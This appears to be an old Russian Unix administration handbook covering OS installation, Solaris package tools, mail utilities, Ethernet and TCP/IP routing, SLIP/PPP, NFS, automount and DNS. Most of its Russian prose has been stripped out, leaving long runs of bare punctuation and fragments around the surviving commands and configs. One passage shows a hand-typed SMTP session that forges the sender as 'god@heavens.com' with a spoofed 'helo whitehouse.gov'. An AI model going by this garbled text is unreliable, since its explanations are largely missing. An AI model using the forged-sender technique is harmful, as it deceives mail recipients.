""
.
"3" (System debugger) , ENTER
197-Diag> "bo 0 40" ENTER (0:
0- SCSI , 40 - , 4-
scsi-) 5 .
197-Diag> bo 0 40
Boot-prom RAM-,
8 Mb -
, ,
RAM-
, .
,
Unix',
RAM-.
20-40 ,
,
.
, .
, 24
vt100 unknown
:
1. Full install
2. upgrade
3. Maintance mode
.
INSTALL -
.
- , , ,
, .
UPGRADE - "" ( 1988 )
.
.( , ,
). ,
.
MAINTANCE MODE - shell
. ,
,
,
, . ( ,
).
maintance shell' ( Ctrl-D)
Ctrl-C,
.
,
1. Install Maintance
.
&dD-88. .&d@
- Unix'. .
:
boot:
"t:unix" ENTER ( unix )
boot: t:unix
RAM- Bestix' 1000 ,
cpio . -
20,
.
&dDSun SPARCstation. CD-ROM.&d@
CD-ROM. . ,
"". STOP+A. (STOP -
). boot-rom prompt Ok:
"boot cdrom". SPARC - SS1, SS1+, SS2,
"boot sd(0,6,2)"
Ok boot sd(0,6,2)
: "> " (??), "boot"
"b"
> b sd(0,6,2)
Unix "suninstall",
.
# suninstall
&dDLinux Slackware. &d@
Linux'
: BOOT ( , ),
ROOT (
).
boot*/*.gz root*/*.gz .
(
boot12/net.gz root144/color144.gz)
. GZIP.EXE -D GUNZIP.EXE ""
, RAWRITE.EXE "" .
Linux DOS-
, NFS-, , CD-ROM,
.
boot-, prompt "Lilo boot:"
Enter, .
: Ethernet' ne2000
"" ,
, :
Lilo boot: ether=10,0x320,eth0
ROOT , Enter. "Console
login:" root :
# fdisk /dev/hda
# setup
&dDLinux RedHat. &d@
Linux RedHat .
- .
, NFS, FTP, SMB-.
&dDHP-UX 10.20. CD-ROM&d@
ESC
PDC- " cdrom"
BOOT-ADMIN> search scsi
....
scsi.2.0 ... CDROM ....
"scsi ID CD"
BOOT-ADMIN> boot scsi.2.0
,
.
&dDHP-UX 10.20. &d@
&dD &d@
1. Install "Network cold install utils"
1a. ( C-200 ) Install
-patch ACE/PHCO-10751 "Enabling network install for ... C-200"
2. /etc/instl_boottab __
3. Install CD Depot
mount /dev/dsk/c0t2d0 /cdrom
/usr/sbin/swreg -l depot /cdrom
4. Depot
/usr/sbin/swreg -u -l depot /cdrom
&dD &d@
PDC-boot (ESC Break 10 )
PDC> search lan install
, -
PDC> boot lan.10.188.101.14.3.52 install
10.188.101.14 - IP ,
3.52 -
.
&dD: &d@
&dD * Solaris 2.5 * &d@
&dD &d@
. Solaris
,
"pkgadd" "pkgrm",
.
,
, . ,
,
"pkgadd".
Unix, Internet,
,
. , .. Unix
.
Original is here
&dD &d@
(standalone
sys),
server/dataless/diskless - (
).
1.
2. :
/usr/sbin/pkgadd -d ____ _
:
/usr/sbin/pkgadd -d /cdrom/solaris_2_5/s0/Solaris_2.5 SUNWpkgA
( ).
:
/usr/sbin/pkginfo -d ____
: Solaris
, .
(
, ..),
. , AnswerBook ,
: .
, CD-ROM
, AnswerBook,
""
. , 7 !!!
-----------------------------------------------------------------
&dD .&d@
/usr/sbin/pkgchk <_>
-----------------------------------------------------------------
&dD :&d@
/usr/bin/pkginfo -l <_>
:
pkginfo -l SUNWcar
PKGINST: SUNWcar
NAME: Core Architecture, (Root)
CATEGORY: system
ARCH: sparc.sun4m
VERSION: 11.5.1,REV=94.07.15.22.10
BASEDIR: /
VENDOR: Sun Microsystems, Inc.
DESC: Core Architecture, (Root)
PSTAMP: fourstar940718191413
INSTDATE: Aug 16 1995 03:39
HOTLINE: Please contact your local service provider
STATUS: completely installed
FILES: 51 installed pathnames
16 shared pathnames
7 directories
29 executables
3794 blocks used (approx)
---------------------------------------------------------------
&dD :&d@
/usr/sbin/pkgrm <_>
---------------------------------------------------------------
&dD &d@
(swmtool 2.4 admintool 2.5)
AnswerBook .
SWMTOOL
:
1.
2. ,
3. :
/usr/sbin/swmtool &
, -
,
( INSTALL/REMOVE
) , , ,
" , (property)"
, swmtool ,
CD-ROM .
, CD-ROM swmtool.
Props... (), ,
() Source Media
, .
, Media Type Mounted Directory, Directory
Name /cdrom/cdrom0 ( CD-ROM
) Apply.
,
swmtool.
: ( - -
, , 3
- - ,
-
),
.
Begin Installation ( ).
/ pkgadd. ,
, .:
...
, , Remove,
(), ,
Begin Removal.
&dD &d@
,
, "pkgadd"
. .
, 3 : "MyProg.bin", "Myprog.lib"
"MyProg.man", "/usr/local/bin",
"/usr/local/lib" "/usr/local/man" .
, :
) ,
"pkgmk", .
"~/tmp/MyPackage".
) ,
,
. .. :
~/tmp/MyPackage/bin/MyProg.bin, ~/tmp/MyPackage/lib/MyProg.lib
~/tmp/MyPackage/man/MyProg.man
) "pkginfo" "prototype".
(
,
man -s4 pkginfo
man -s4 prototype
"prototype":
!PROJDIR=/usr/local
1 i pkginfo=pkginfo
1 d none bin 0755 root other
1 f none bin/MyProg.bin 0644 root other
1 d none lib 0755 poul insects
1 f none lib/MyProg.lib 0644 root other
1 d none man 0755 poul insects
1 f none man/MyProg.man 0644 root other
"pkginfo":
PKG=MyProg
NAME=MyPackage
ARCH=sparc
VERSION=Version 1.0
CATEGORY=application
VENDOR=Pavel K. Klodin
EMAIL=webmaster@reksoft.ru
PSTAMP=Pstamp
BASEDIR=/usr/local
CLASSES=none
) , ,
:
cd ~/tmp/MyPackage
pkgmk -o -d /tmp -r .
"/tmp" "MyPackage"
.
"pkgadd". ) , , (
"su -"):
cd /tmp
pkgadd -d .
: ,
:
( );
" " (stream packages).
,
-
(, , ).
, ""
. 2
"pkgtrans".
&dDSummary of pkg commands:&d@
pkginfo {pkg} - test for presents of package.
pkgadd -d /cdrom/Solaris_2.3 <pkg ...>
- add missing packages
pkgrm {pkg ...} - remove packages.
pkgchk -q {pkg} - test for existance of package
pkgchk {options} [pkg] - check installed packages for
integrity.
Let's say your Solaris2 workstation is called "sol" and the
4.1.x server is called "bertha" and you want the printer name
to be "printer" (imaginative, eh?).
sol# lpsystem -t bsd bertha # says bertha is a bsd system
sol# lpadmin -p printer -s bertha # creates "printer" on "sol"
# to be printed on "bertha"
sol# accept printer # allow queuing
sol# enable printer # allow printing
sol# lpstat -t # check the status
sol# lpadmin -d printer # default
To get transparent mode, try this:
lpadmin -I any -p printer
&dD * Linux RedHat * &d@
rpm -i filesystem-1.2-1.i386.rpm
rpm --erase filesystem-1.2-1
rpm -qa
, :
rpm2cpio < packetname-1.2-1.i386.rpm | cpio -it
rpm2cpio < packetname-1.2-1.i386.rpm | cpio -it rpm2cpio < packet
name-1.2-1.i386.rpm | cpio -it
rpm2cpio < packetname-1.2-1.i386.rpm | cpio -it
, :
rpm -l nfs-server-2.2beta16-5
RedHat . security updates
ftp://ftp.funet.fi/pub/Linux/mirrors/redhat/redhat/redhat-4.2/updates/i386/
rpm -Uvh samba-1.9.18p7-0.i386.rpm
&dD * HP-UX 10.20 * &d@
HP-UX SAM.
swlist -l product
.
&dD Unix&d@
&dD1. ping&d@. .
, :
ping host.name
"" ( 1 .):
ping -s host.name
"" - trl- .
&dD2. finger&d@. .
:
finger [-l] @..
ipsun.ras.ru :
finger @ipsun.ras.ru
:
finger -l moshkow@ipsun.ras.ru
&dD3. talk&d@.
talk moshkow
talk moshkow@fedfond -
.
:
Message from Talk_Daemon@ipsun at 23:29 ...
talk: connection requested by ivanov@server.fedfond.msk.su
talk: respond with: talk ivanov@server.fedfond.msk.su
talk ivanov@server.fedfond.msk.su
. -
Ctrl-C
&dD4. mailx&d@. .
/* Linux mailx, */
mailx username@host.name
Subject:
. . .
,
Ctrl-D. "." ENTER.
let.txt, -
:
mailx -s " " semen@server.fedfond.spb.su < let.txt
&dD5. mailx&d@. .
mailx, ,
.
:
? - help
h 12 - 12-
6 - 6-
d -
s fajl - "fajl"
r -
mailx .mailrc,
.
:
########### .mailrc !!!!
set crt=22
set record='/home/moshkow/Mail.sended'
##############################################################
# "" more ;
#
# /home/moshkow/Mail.sended ;
alias max moshkow@ipsun.ac.msk.su
alias kafedra petrov smirnov@nic.com lapin@sovim.mit.edu
# -
# ,
#
, /etc/aliases
:
Maksim.Moshkow: moshkow
moshkov: moshkow
newaliases
:
moshkow@moshkow.ru
moshkov@moshkow.ru
Maksim.Moshkow@moshkow.ru
, $HOME/.forward
@.
, , ,
\yourlogin, newadres@email.adres
Linux, procmail
folder, $HOME/.procmailrc :
###############################################################
####### ( message-id)
:0 Wh: msgid.lock
| formail -D 8192 msgid.cache
####### Mail-
:0
* ^(Sender|To|CC): .*(ezh@cdru.com|ezh@ezhe.com|banners@list.techno.ru)
nsmail/ezh
####### ( )
:0 b
* Subject: .*uuencoded
| uudecode
####### mailing-
####### "zhurnal@sharat.co.il" email.
#######$HOME/.procmailrc :
:0 c
* < 10000
* !^To: .*zhurnal
! moshkow@home.moshkow.ru
####### 30
:0 h c
* > 30000
* !^From: CityCat
* !^From: .*linux
* !^FROM_DAEMON
* !^Subject: BOOK614
* !^X-Loop: moshkow@moshkow.ru
| ( egrep -v '^From moshkow|^Return-Path: moshkow' | formail -r -A"Precedence: junk" -A"X-Loop: moshkow@moshkow.ru" ; echo "Thanks, I have got your mail.") | $SENDMAIL -t
###############################################################
&dD6. telnet&d@. .
telnet host.name
telnet ,
, - , -
.
telnet " " "Ctrl-]" , -
telnet . -
telnet'. - ENTER.
"exit" "help"
&dD7. ftp&d@. File Trasfer Protocol. .
, " "
( ), NFS ?
ftp. ,
TCP/IP.
ftp host.name
User name (moshkow): ivanov
Passwd:
-
( ).
,
"anonymous", - email-.
ftp .
"" , -
, ,
, - .
ftp> help -
ftp> quit -
ftp> bin -
( )
ftp> cd katalog - ""
ftp> ls - ""
ftp> lcd katalog - ""
ftp> !dir - ""
ftp> !ls -al - ""
ftp> get file-tam [ file-name-zdes ] -
ftp> put file-zdes [ file-name-tam ] -
&dD &d@
&dDtelnet localhost 25&d@
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 t30.systud.msk.su ESMTP Sendmail 8.8.5/8.8.5; Thu, 14 May 1998 18:01:21 +0400
vrfy ryba@aquarium.ru
expn ryba@aquarium.ru
&dDhelo whitehouse.gov&d@
250 t30.systud.msk.su Hello localhost [127.0.0.1], pleased to meet you
&dDmail from: god@heavens.com&d@
250 god@heavens.com... Sender ok
&dDrcpt to: moshkow@ipsun.ras.ru&d@
250 moshkow@ipsun.ras.ru... Recipient ok
&dDdata&d@
354 Enter mail, end with "." on a line by itself
&dDSubject: Time to pray!
This the time to pray caoming along!
God
.&d@
250 SAA01324 Message accepted for delivery
&dDquit&d@
.
&dD : Ethernet, Token ring, FDDI&d@
&dDEthernet&d@
Carrier Sense Multiple Access Collision Detect (CSMA/CD)
.
Ethernet/2 IEEE 802.3 ,
&dDEthernet' 3 :&d@
10baseT , RJ45
Twisted pair ( 100).
4- .
10base5 Ethernet. 2 , 15 AUI
Thick ethernet hosta. "" -
. - N-.(L<= 500)
10base2 Ethernet 50-
Thin ethernet BNC .
185 m (<=300m)
30
+-----+
|Host o------------------. ""
+-----+ \
\ ___
+-----+ \o | Hub
|Host o----------------------o | 10-base-T
+-----+ o___|
/
+-----+ /
|Host o------------------'
+-----+
+-----+ +-----+ +-----+ " "
|Host | |Host | |Host |
+--+--+ +--+--+ +--+--+ Thin
z-+---------------+---------------+-z
+-----+ +-----+ +-----+
|Host | |Host | |Host |
+----+ +----+ +----+ ethernet
n n n ^
n n n | 50
"" n n v
n==M===============M===============M=======n
&dDToken ring&d@
Token ring IBM,
IEEE 802.5
- (8 ) shielded unshielded
, MultiStationAccessUnit (MSAU)
MSAU ,
.
- -.
,
"", .
, ,
. .
. -Monitor,
, ,
.
&dDFDDI&d@
- .
.
Dual Attachment .
,
( ), .
( DAS )
___0 DAS ___0 DAS
/___o /___|
// \\ //
|| |* --> || *
|| o| || o*
\\___/o DAS \\___/| DAS
\___/ \___/
- Token ring.
. Monitor'
.
&dD Unshielded twisted pair&d@.
1 Tx+ | +-1---8-+ | Rx+ 3
2 Tx- | | | | Rx- 6
3 Rx+ | |_____| | Tx+ 1
4 | |
5 | |
6 Rx- |___________| Tx- 2
7 ( )
8
-----------------------------------------------------------------
, HUB' (point-to-point)
"" . Tx+<-->Rx+, Tx-<-->Rx-,...
ethernet-
,
"" - .
.
&dD : &d@
DTE DCE
(station, router) ** ------ ** (modem) <====
&dD :&d@
EIA/TIA-232
EIA/TIA-449
V.24
V.35
X.21
G.703
EIA.530
HSSI
&dD WAN :&d@
Data link encapsulation :
&dDDedicated WAN&d@
SDLC - Synchronous Data Link Control
HDLC - High-level Data Link Control
LAPB - Link Access Procedure Balanced
PPP - Point-to-Point Protocol
&dDSwitched WAN&d@
Frame Relay - HDLC
X.25
ISDN
.
&dD TCP/IP&d@
"Office"
+--------+ +--------+ Network 195.1.2.0
| | | | Netmask 255.255.255.0
+--------+ +--------+ Broadcast 195.1.2.255
| 195.1.2.3 | 195.1.2.10
----+-------------------+--------------------------+-------------
|195.1.2.1 | 195.1.2.2
+--------+ +--------+
|-|GatewayD| |GatewayO|
| +--------+ +--------+
| 198.8.2.1 SLIP : 122.5.6.9
| "Developers" :
| +-------+ Network 198.8.2.0 :
|-| | Netmask 255.255.255.0 Modem
| +-------+ Broadcast 198.8.2.255 . . .
| 198.8.2.2
| Modem
| +-------+ . . .
|-| | :
| +-------+ SLIP: 122.5.6.10
| 198.8.2.3 +--------+
|GatewayF|
122.5.6.3+----+---+
--------------------------------------------------+--------
| 122.5.6.1 | 122.5.6.2 "Filial"
+--------+ +--------+ Network 122.5.6.0
| | | | Netmask 255.255.255.192
+--------+ +--------+ Broadcast 122.5.6.63
Host IP 198.8.2.2
"Developers" Net: 198.8.2.0 -- 198.8.2.255
198.8.2.0 Default: 198.8.2.1
"GatewayD" ifconfig eth0 198.8.2.1
ifconfig eth1 195.1.2.1
route add net 198.8.2.0 198.8.2.1 0
route add net 195.1.2.0 195.1.2.1 0
route add default 195.1.2.2 1
"GatewayO" ifconfig eth0 195.1.2.2
ifconfig sl0 122.5.6.9 pointopoint 122.5.6.10
route add net 195.1.2.0 195.1.2.2 0
route add net 198.8.2.0 195.1.2.1 1
route add default 122.5.6.10 1
Host IP 195.1.2.3
"Office" Net: 195.1.2.0 -- 195.1.2.255
195.1.2.0 Default: 195.1.2.2
route add net 198.8.2.0 195.1.2.1 1
.
&dD TCP/IP&d@
TCP/IP (Transmission Control Protocol/Internet Proto-
col)
UNIX'. TCP/IP :
IP-
IP-
( - ,
)
TCP/IP- :
"" ,
, . "-
" IP- ( )
" " , TCP/IP .
&dD Internet&d@.
, TCP/IP -
,
TCP/IP "Internet". "Internet":
100000 IP- . ( 1994 )
Internet' :
20,000
4,000,000
35,000,000
&dD1. IP-&d@.
IP-.
IP- - 32- , -
16-- , 4 ,
. :
193.124.148.73
128.8.2.1
. 0
255. :
c1.7c.94.49 0xC17C9449
80.08.02.01 0x80080201
, -
Internet, TCP/IP
, .
IP- .
. , ,
NIC - Network Informational Center. NIC
. IP-. NIC
- , -
"" IP-,
. E-mail , :
hostmaster@sri-nic.net
, IP-, *.ru
xSU/RU NetworkInformationalCenter
ncc@ripn.net ncc@ussr.eu.net
www.ripn.net/nic/ripn-docs/
&dDIP-, .&d@
IP- - "" 2**n IP-, .
- . IP-.
128.8.0.0, 193.125.149.64 . -
, , ,
.
- , -
. ( 8
- 256 , 6 - 64 ),
b'111...11100...00'
^^ ^^
- ,
:
255.255.255.192 - 64
255.255.255.0 - 256
255.255.0.0 - 64Kb
Broadcast - . -
"--" ( ).
128.8.255.255
:
A. "" .
: 1 - 126.
: 255.0.0.0
16387064 (256*256*256).
: 125.*.*.*
B. "" .
: 128.0 - 191.255
: 255.255.0.0
64516 (256*256).
: 136.12.*.*
C. "" .
: 192.0.0 - 255.254.255
: 255.255.255.0
254 .
: 195.136.12.*
D. "Multicast-" ( ) ( )
: 224-239
E. "" 240-250
0, 127, 255 - IP
&dD2.1. Private Address Space&d@
,
, " ".
RFC 1597 "Address Allocation for Private Internets"
March 1994:
The Internet Assigned Numbers Authority (IANA)
IP :
10.0.0.0 - 10.255.255.255 A
172.16.0.0 - 172.31.255.255 B
192.168.0.0 - 192.168.255.255 C
ISP ,
() .
&dD2. IP- ethernet' &d@.
UNIX-
. :
Linux (1*ISA, 2*PnP):
/etc/conf.modules
alias eth0 ne
alias eth1 ne
alias eth2 ne
options ne io=0x220,irq=5
, IP- 198.8.2.1
ethernet' elx70 . Motorol' -
ethernet, -
.
ifconfig e1x70 198.8.2.1 up
, m3760 (
) IP- 198.8.3.1
ifconfig m3760 198.8.3.1 up
&dD3. &d@.
, 198.8.2.* *=1,...,254 -
ethernet, -
, ethernet, -
198.8.2.1 - .. - elx70. , -
198.8.3.* - ethernet -
198.8.3.1
route add net 198.8.2.0 198.8.2.1 netmask 255.255.255.0 0
route add net 198.8.3.0 198.8.3.1 netmask 255.255.255.0 0
IP-, -
, 198.8.2.107
- , ,
.
route add default 198.8.2.107 1
route - . -
"" "" gateway', " -
gateway' IP-
. IP- 198.8.2.1 198.8.3.1
ethernet, ()
0. 198.8.2.107 - - " " 1.
,
netstat -rn #
ping -s fedfond # ""
ping -s fedfond-gate
ping -s 198.8.2.107
netstat -i #
, lo0 localhost. -
Loop-back .
, . Loop-back -
IP-
127.0.0.1
&dD4.&d@ TCP/IP 922.
. ,
fedfond, IP-adres
198.8.2.1 . , ether
net-,
IP-. , ethernet
IP- 198.8.3.1,
, "fedfond-gate".
:
/etc/inet/rc.inet,
/usr/sbin/ifconfig e1x70 `uname -n`-gate $net_mask up
, ethernet
fedfond-gate , .
, IP- host'
1. sysadm "nodename" . :
nodename ( ) systemname ( )
2. /etc/hosts , IP-
fedfond , !, fedfond-gate
198.8.2.1 fedfond
198.8.3.1 fedfond-gate
3. .
&dD 2- ethernet Linux&d@
- ethernet - ,
.
/etc/rc.d/rc.local :
# 2140
insmod /lib/modules/2.0.18/de4x5.o io=0
# IP #
ifconfig eth1 10.232.172.1
route add -net 10.232.172.0 gw 10.232.172.1 netmask 255.255.255.0
2- ethernet' ,
: /etc/lilo.conf
append="ether=0,0,eth0 ether=0,0,eth1" # autoprobe
#
append="ether=10,0x300,0xe800,eth0 ether=12,0x280,eth1"
:
echo 1 > /proc/sys/net/ipv4/ip_forward
&dD hardware ethernet' &d@
TCP/IP,
, arp -a
ping [-s] 123.456.789.255
arp -a
, ,
.
Linux: .
,
ifconfig
Sun: boot-
Hardware ethernet' Sun
boot-, ifconfig
. Sun NVRAM & hostid FAQ
HP-UX: lanscan.
boot- PDC.
&dD5. &d@.
, ,
- .
BSD-Unix' API
Berkly-sockets. AT&T System V TLI (Transport Level
Interface) - "" (streams).
SVR4 , .
inetd (Internet Super Server), TLI
listen (Network Listener).
&dD6.&d@ TLI
listen ,
IP- host'. "
". IP- -
.
, IP- 198.8.2.1 198.8.3.1, -
C6080201, C6080301 ,
:
nlsadmin -i tcp
nlsadmin -l '\x00020acec60802010000000000000000' tcp
nlsadmin -l '\x00020acec60803010000000000000000' tcp
" ^^^^^^^^
0ac" |
|
IP-
&dD7.&d@ BSD .
. , ,
, . inetd
:
/etc/inetd.conf -->
/etc/services -->
:
netstat ( netstat -ta - Linux)
&dD &d@
ARP - Address Resolution Protocol
. /
. , ethernet'
, IP-.
broadcst: ", , , : IP-_ -
", .
arp -a # IP- eth-
RARP - Reverse Address Resolution Protocol.
, IP-.
rarpd. -:
ether- -> IP-. -broadcast'
: ", ,,, eth- -.
?" rarpd , IP ( -
bootparamd -
, ).
()
RIP, BGP, EGP, ICMP.
RIP - Routing Information Protocol
( ).
routed / gated.
BGP - Border Gateway Protocol
EGP - External Gateway Protocol
.
gated
ICMP - Internet Control Message Protocol
TCP/IP ( "port
unreachable"), ping, traceroute,
"redirect":
"- , -
".
host',
, .
DNS NIS/YP
DNS - Domain Name System.
-
IP-, "" -
( pc101.fedfond.msk.su , ftp.sco.com
..) DNS - , bind, -
(). -
IP-
"resolver" - gethostbyname, gethostbyaddr,
DNS,
IP- (domain-name).
NIS/YP - Network Information System (
, Sun - Yellow Pages).
NIS- ( ypserv) ,
: ,
, ,
, .. ..
DNS NIS/YP: DNS - "" -
,
. NIS/YP -
,
.
&dD TCP/IP &d@
unix-
:
, IP , DNS
HP/UX: /etc/set_parms initial
Linux Slackware: net_config
Solaris: /etc/???
.
&dD TCP/IP &d@
TCP/IP ether
net' . ,
:
RS-232,
,
( 485, V.435).
IP:
RS-232
SLIP - Serial Line IP - TCP/IP "
", .
CSLIP - Compressed SLIP - SLIP.
IP-. :
! IP- IP-
40 .
CSLIP' 3 . -
-
. , -
.
PPP - Point-to-Point Protocol
, TCP " ". -
SVR4. . -
IPX. slip
cslip - .
Centronix-
PLIP - Parallel Line IP - - .
. .
TCP/IP SCSI- - , - .
, RFC 1149 IP
.
&dDTCP/IP &d@.
TCP/IP
- ,
. :
,
,
High Speed Interface -
, V.435 (
),
- PPP. , " "
.
+-------------------+ +-----------------+ (
| | | | ( ><
|Host PPP V.435|========|V.435 | ~~~~~~ (
| -TCP/IP-> | | | ~~~~~~ /\
+-------------------+ +-----------------+
,
- "",
"" TCP/IP (PPP, Ether), Ethernet,
High Speed Interface.
"Cisco router", "NetBlaser".
+-------------------+ +-----------------+ (
| | | | ( ><
|Router PPP V.435|========|V.435 | ~~~~~~ (
| -TCP/IP-> | | | ~~~~~~ /\
+-------+-----------+ +-----------------+
|
... -Ethernet------ ...
&dD, &d@.
-
, , ,
.
:
V32bis/V42 -
, "" 16800 /. ~
12000 /. V42
( ,
) 2-4 ,
.. 38400-57600 /
/
RS-232
UART (Universal Asyncronous Receiver-Transmitter)
16450 - 19200 bit/s.
16550 - 19200 bit/s. ( "A" - )
16550A - 38400 bit/s.
16550A 115200 bit/s. ( "")
( - Solaris, Unixware - ,
FreeBSD, Netblaser, Cisco router - )
:
/"", V32bis/V42 - 19200 /.
2- , V32bis/V42 - 38400 /.
4- , RAID,????? - 115200 /.
4- <=4, ????? 1 /.
<=?, ????? ?? 2 /.
. . V.435. PPP 64, 128, 256 /
&dD * SLIP/CSLIP * &d@.
host'
, slattach,
TCP/IP.
, SLIP ,
"".
SVR4, slip
slattach /dev/comport NASH-IP-ADRES IH-IP-ADRES 19200 &
# /dev/comport "slip" 19200
# IP- slip-
SVR4, cslip
slattach -c /dev/comport NASH-IP-ADRES IH-IP-ADRES 38400 &
# /dev/comport "Compressed-slip"
# 38400
# IP- C-slip-
slattach -e /dev/comport NASH-IP-ADRES IH-IP-ADRES 38400 &
# slip cslip,
# ,
# " ",
Linux, SLIP.
SLIP Linux DIP, :
/usr/sbin/dip config-file-name
---------------------------------------------------------------
#
main:
get $local 193.232.171.22
get $remote 193.232.171.19
port /dev/modem
speed 9600
mode SLIP
exit
---------------------------------------------------------------
# slip
---------------------------------------------------------------
main:
get $local uwalt.hacktic.nl
get $remote xs4all.hacktic.nl
port /dev/modem
speed 38400
send ATQ0V1E1X4\r
wait OK 2
dial p555-1234
login:
sleep 2
wait ogin: 20
send MYLOGIN\n
wait ssword: 20
send MYPASSWD\n
# We are now logged in.
wait SOMETEXT 15
get $mtu 296
# Ensure "route add -net default xs4all.hacktic.nl" will be done
default
mode SLIP
---------------------------------------------------------------
dip'
Linux, CSLIP.
# "cslip"
slattach -p cslip /dev/modem &
ifconfig cs0 NASH-IP-ADRES pointopoint IH-IP-ADRES
route add IH-IP-ADRES
route add default gw IH-IP-ADRES
Linux, PLIP.
ifconfig plip1 NASH-IP-ADRES pointopoint IH-IP-ADRES
route add IH-IP-ADRES
route add default gw IH-IP-ADRES
SLIP .
"" .
, ""
SLIP, . .
( stty 19200 ; echo atdp9120123 ) < /dev/modem > /dev/modem
sleep 55
atdp - ,
55 . , , "-
".
.
, ? Ping' "" .
, ,
"" slip
( slip
, TCP/IP).
slip? slattach.
while true #
do sleep 60 #
if ping 107.65.8.254 | grep 'is alive' ;
then echo Ok > /dev/null # IH-IP-ADRES
else
# slattach
slip_pid=`ps -ef | grep slattach | cut -c1-6`
kill -9 $slip_pid
#
(stty 19200; echo atdp9120123) < /dev/modem > /dev/modem
sleep 55
# slattach
slattach -e /dev/modem 195.8.2.3 107.65.8.254 19200 &
fi
done
&dD * PPP * &d@
&dDMOTOROLA: PPP&d@
/etc/inet/ppphosts - ppp-
UUCP
, ppp
/etc/strcf
, slink
ppp-
(" ").
man ppp
man pppd
man ppphosts
&dDLinux&d@
pppd. pppd
chat, pppd IP-,
, , chat-
.
: ( ) IP=123.456.789.12
pppd connect 'chat -v ABORT "NO DIALTONE" ABORT BUSY "" ATZ OK \
atdp9386933 Username: ppmoshkow Passwd: mypasswd mode ;' \
crtscts defaultroute modem noipdefault -detach mru 1500 \
123.456.789.12:194.85.105.1 /dev/modem 38400
:
pppd connect 'chat -v ABORT "NO DIALTONE" ABORT BUSY "" ATZ OK \
atdp9386933 Username: ppmoshkow Passwd: mypasswd mode ;' \
crtscts defaultroute modem noipdefault -detach mru 1500 \
0.0.0.0: /dev/modem 38400
&dDWindows 95&d@
MS Plus - "Network dialup
script editor"
:
---------------------------------------------------------------
proc main
waitfor "login:" until 5
transmit $USERID, raw
transmit "^M"
waitfor "Password:"
transmit "password^M"
waitfor "modem" until 5
endproc
---------------------------------------------------------------
logname, password ,
.
&dDHP-UX 10.20&d@
HP-UX/10.20 ppp . slip.
ftp free- iij-ppp
http://www.verinet.com/~barthold/ftp/iij-ppp0.94beta2.hpux10.tar.gz
.
SLIP "ppl"
"LAN/9000 Link" product.
.
&dD NFS&d@
- Network File System.
UNIX' NFS.
Unix- NFS
,
.
:
mount -F nfs udalennaq.mashina:/katalog_tam /katalog
, BSD Linux
mount -o rsize=8192,wsize=8192 mashina:/katalog_tam /katalog
ls -al /katalog
NFS - Unix',
NFS MSDOS- PC.
PC/NFS ( "PC-NFS" -
PC/NFS "Sun Select"). .. PC',
NFS PC,
Unix' , NFS. -
, PC/NFS PC ,
Netware - .
, Unix-host, NFS-
, ,
Netware ,
ethernet',
, 1.5-2.
NFS- 100 Kb ,
Netwar' - 50.
&dD2.&d@ PC/NFS -
: 486dx2/66, wd8013 16 bit:
: Kb/
NFS for PC
PC-NFS 4.0 220 120
PC-NFS 5.0(**) 220 120
Pathway 350 170
PCTCP 3.0 350 200
TSOFT (*) 200 100
XFS (*) 500 50
Chameleon NFS(**) 2-
Unix for PC
Linux/NFS(*) 400 350
FreeBSD/NFS(*) 900 300
Unixware/NFS 400 300
Netware 3.11 500 600
NW Lite 400 500
WFW (Samba) 150 150
Lantastic ? ?
(*) - -
(**) -
: / NFS
SUN SPARCstation / IBM/RS6000 900/400 Kb/
&dD3. , Unix- NFS &d@
:
rpc.portmap - RPC (Remote Procedure Call)
( NFS RPC)
( Motorole .)
mountd - ( -
/ )
nfsd - NFS
biod - NFS-
( SunOS)
pcnfsd - "" -
PC/NFS . MSDOS
-
, pcnfsd PC-
user' .
( , )
3. -
,
:
/etc/rc3.d/S22nfs - NFS-
, , "-
" NFS, .
/etc/dfs/dfstab
shareall share ( SVR4)
/etc/exports
exportfs -a ( UNIX)
&dD4.&d@ NFS.
, Unix' NFS
. ,
. :
&dDMotorola 922&d@
3.
/etc/inittab
is:2:initdefault:
is:3:initdefault:
pcnfsd - "" PCNFS'
/etc/rc3.d/S22nfs :
/usr/lib/nfs/pcnfsd
sysadm network_services / remote_files /
local_recources / share / nfs , -
"" NFS. ,
/home
/etc/inittab ,
unix
shutdown -y -g0 -i6
&dDLinux&d@
/etc/rc.d/rc.inet2 ,
rpc.portmap
rpc.nfsd
rpc.mountd
rpc.ugidd
/etc/exports
/ (rw)
&dDSun Solaris 1.1&d@.
/etc/exports ...
/home
/usr
&dDSun Solaris 2.3&d@.
/etc/dfs/dfstab -
. ( )
&dD5.&d@ . RFS. DFS.
RFS - Remote File Sharing. . NFS -
BSD Unix', RFS - System V Unix'.
, NFS. NFS
. , , .
, NFS. automounter'.
RFS for MSDOS PC . RFS
, . RFS
. , ?
DFS - Distributed File System. .
, .
.
&dD automount-&d@
- - , NFS-.
" " - ..,
.
,
.
- automountd.
.
/etc/rc2.d/S20nfs.client
automountd # NIS
automountd -m -f /etc/auto.master #
#
automountd "" - -
.
:
/etc/auto_master -
:
/etc/auto_direct - ,
/etc/auto_home -
,
.
/etc/auto_master :---------------------------------------------
#
# Master map for automounter
#
/net -hosts
# : imyarek -
# /net/imyarek
#
/- /etc/auto_direct
/home /etc/auto_home
/etc/auto_direct :---------------------------------------------
#
#
/usr/informix -ro,soft classic00:/usr/informix
/usr/local -rw,soft classic00:/usr/local
#
# .
#
/usr/share/man -ro,soft classic00:/usr/share/man \
-ro,soft sun21:/usr/share/man \
-ro,soft sun22:/usr/share/man
/etc/auto_home :---------------------------------------------
moshkow s08:/udd/moshkow
leo classic00:/export/home/leo
# :
* classic00:/export/home/&
* sun21:/export/home/&
polxzowatelx -
/home/polxzowatelx
.
&dDDNS - Domain Name Service&d@
&dD DNS-&d@
&dD dns-server&d@
/etc/resolv.conf :
search moshkow.pp.ru sosed.msk.ru
nameserver 127.0.0.1
;nameserver 194.8.2.1
&dD &d@
/etc/host.conf : (Linux, BSD)
order bind, hosts, nis
multi on
/etc/nsswitch.conf : ( Solaris, HP-UX)
. . .
hosts: files bind nis
. . .
&dD &d@ ( , )
/etc/defaultdomain :
moshkow.pp.ru
&dD DNS&d@
nslookup -ty=ns msk.ru
zzz=msk.ru ; named-xfer -z $zzz -f filename ns.$zzz
egrep '^[a-z]' filename | egrep -v A | grep NS| cut -f1 | sort -u| wc
RIPE:
ftp://ftp.ripe.net/ripe/hostcount
ftp://ftp.ripe.net/ripe/dbase
&dD 1997:&d@
ru 1400
msk.ru 217
spb.ru 490
ras.ru 20
msu.su 19
rssi.ru 42
&dD * DNS- * &d@
- named.boot
/var/named
&dD &d@
moshkow.pp.ru
pp.ru ( - RIPN)
